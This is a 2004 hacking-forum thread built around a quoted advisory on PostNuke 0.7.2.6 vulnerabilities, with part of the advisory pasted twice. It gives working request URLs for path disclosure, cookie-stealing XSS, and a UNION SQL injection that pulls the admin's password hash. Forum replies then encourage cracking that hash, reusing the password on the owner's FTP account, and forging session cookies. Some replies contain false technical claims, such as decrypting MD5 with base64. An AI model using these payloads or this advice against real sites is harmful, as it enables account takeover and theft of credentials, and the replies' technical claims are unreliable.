hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

r3L4x
very nice little paper i found on mantissecurity.net. Allows you to get the admin hash and full path to their account. So if people have taught us anything, its that they use the smae pass for just about everything, so once you crack admin hash you can sign into their ftp acct through getting their account name for the host and have root and access to everything (wich isnt possible through just having the postnuke admin pass)
QUOTE
Author: Janek Vind "waraxe"
Date: 18. April 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=20


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

PostNuke: The Phoenix Release (0.7.2.6)

PostNuke is an open source, open developement content management system
(CMS). PostNuke started as a fork from PHPNuke (http://www.phpnuke.org) and
provides many enhancements and improvements over the PHP-Nuke system. PostNuke
is still undergoing development but a large number of core functions are now
stabilising and a complete API for third-party developers is now in place.
If you would like to help develop this software, please visit our homepage
at http://noc.postnuke.com/
You can also visit us on our IRC Server irc.postnuke.com channel...

Author: Janek Vind "waraxe"
Date: 18. April 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=20


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

PostNuke: The Phoenix Release (0.7.2.6)

PostNuke is an open source, open developement content management system
(CMS). PostNuke started as a fork from PHPNuke (http://www.phpnuke.org) and
provides many enhancements and improvements over the PHP-Nuke system. PostNuke
is still undergoing development but a large number of core functions are now
stabilising and a complete API for third-party developers is now in place.
If you would like to help develop this software, please visit our homepage
at http://noc.postnuke.com/
You can also visit us on our IRC Server irc.postnuke.com channel
#postnuke-support
#postnuke-chat
#postnuke
Or at the Community Forums located at:
http://forums.postnuke.com/


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A. Full path disclosure:

A1 - legacy code

/http://localhost/postnuke0726/admin.php?module=Past_Nuke&op=deleteNotice
Fatal error: Call to undefined function: deletenotice() in D:\apache_wwwroot\postnuke0726\admin.php on line 87

It seems, that this function - deletenotice() - is removed in new versions, but reference still exists.
Btw, anyone without any authentication can provoke this error, not only admins.



A2 - path disclosure through sql injection

/http://localhost/postnuke0726/modules.php?op=modload&name=NS-Polls&file=index&req=results&pollID=2&mode=thread&order=0&thold=p
Fatal error: Call to a member function on a non-object in D:\apache_wwwroot\postnuke0726\modules\NS-Polls\comments.php on line 454

This is sql injection bug through variable named "thold", but here we use it for path disclosure.




B. Cross-site scripting aka XSS:

Exploiting XSS in PostNuke is difficult task, because PostNuke will filter out most of the "useful"
tags, like <script>. But anyway, there exists XSS bugs and they can be exploited, using some
custom technics (therefore loosing crossbrowser compatibility of the sploit).

B1 - XSS through unsanitaized variable "$order"

/http://localhost/postnuke0726/modules.php?op=modload&name=NS-Polls&file=index&req=results&pollID=2&mode=thread&order=ppp><s%00cript>alert(document.cookie);</s%00cript>ppp&thold=99
/http://localhost/postnuke0726/modules.php?op=modload&name=NS-Polls&file=index&req=results&pollID=2&mode=thread&order=ppp><body%20onload=alert(document.cookie);




C. Sql injection:

C1 - critical sql injection in NS-Polls

This is devastating case of the sql injection, because it can be used to pull out from database
ANY data, attacker needs.

/http://localhost/postnuke0726/modules.php?op=modload&name=NS-Polls&file=index&req=results&pollID=2&mode=thread&order=0&thold=99999%20UNION%20SELECT%20null,null,null,null,pn_pass,pn_email,null,null,pn_uname,null,null,null%20FROM%20nuke_users%20WHERE%20pn_uid=2/*

... and we will see admin's username, email and password's md5 hash in plaintext wink.gif

Remark - this sploit needs mysql version >=4.x with UNION functionality enabled!




Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to torufoorum members and to all bugtraq readers in Estonia! Tervitused!
Special greets to UT Bee Clan members at http://bees.tk ! "Boom!!" wink.gif



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/
icenix
QUOTE

so once you crack admin hash

have phun wink.gif

its easier said than done...MD5's are such a bitch to crack.

+ ive used this before and it only returns something like an MD5 Hash only about 5 characters shorter. im not quite sure what to make of it....or at least the ones ive seen
r3L4x
no it works fine, you would be suprised
a man calls him self a "programmer/hacker" yet his admin pass is, guess, admin99
people are stupider then you think

also
a hash is a hash is a hash, they all do the same thing no matter what algo it is. SHA, tiger, CRC,md they all work the same. i guess the only diff would be how long it takes to compute.
archphase
is this how the noobs @ AYF (www.areyoufearless.com) got owned, yes?
ssj4conejo
The admin99 pass is quite common, i wonder how many banana peels these admins smoke daily.. the funniest pass that i've seen is mssucks... lol, a win2k password... it shows the love for m$.
r3L4x
im testing the waters of rainbowcrack 1.2
right now i have slightly started generating the 200mb hash table, and acording to my calculations it should take another 9 hours laugh.gif
the table is for passwords 8 chars to 13, since bruteforcing every 7 charaacter lowercase alpha numeric character takes about 30 min and under it takes seconds but over 8 takes days.
tweakz20
QUOTE
/http://localhost/postnuke0726/modules.php?op=modload&name=NS-Polls&file=index&req=results&pollID=2&mode=thread&order=0&thold=99999%20UNION%20SELECT%20null,null,null,null,pn_pass,pn_email,null,null,pn_uname,null,null,null%20FROM%20nuke_users%20WHERE%20pn_uid=2/*


boy oh boy, i wonder who thought That thing up...

nice article, i like the idea of %00 lol
Nick
what can u do with the md5 hash for postnuke? iv been trying to figure out the cookies.. POSTNUKESID= ? not really sure what they info they are using to come of with the cookie if anyone knows please inform me.
whiskah
QUOTE (Nick @ Jun 19 2004, 08:47 AM)
what can u do with the md5 hash for postnuke? iv been trying to figure out the cookies.. POSTNUKESID= ? not really sure what they info they are using to come of with the cookie if anyone knows please inform me.

u have to crack/decrypt the md5 hash otherwise u have to modify ur cookies..
waraxe has made a nice tut on how to mod ur cookie..just goto to his site..
MasterWeb
i thinks you can Decrypt this hashes in e BASE64Coder ! like this :
http://www.robertgraham.com/tools/base64coder.html
Type Adminuser:hash and then click decrypt !
in Phpnuke i use this link :
www.site.com/admin.php&admin=Hash !
but in Post Nuke Admin.php Redirected on index.php ! where i can use this Decrypted Hash !?
Nick
but the info that is actually used in the postnuke cookie isnt the actual md5 hash of the pw does any one know what its the md5 hash of

could it be the md5 of

<user>:<md5 of the pw>

if anyone knows how the postnuke cookies work please let me know.. i know how the phpnuke and phpbb work.. jsut trying to figure out the post nuke
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.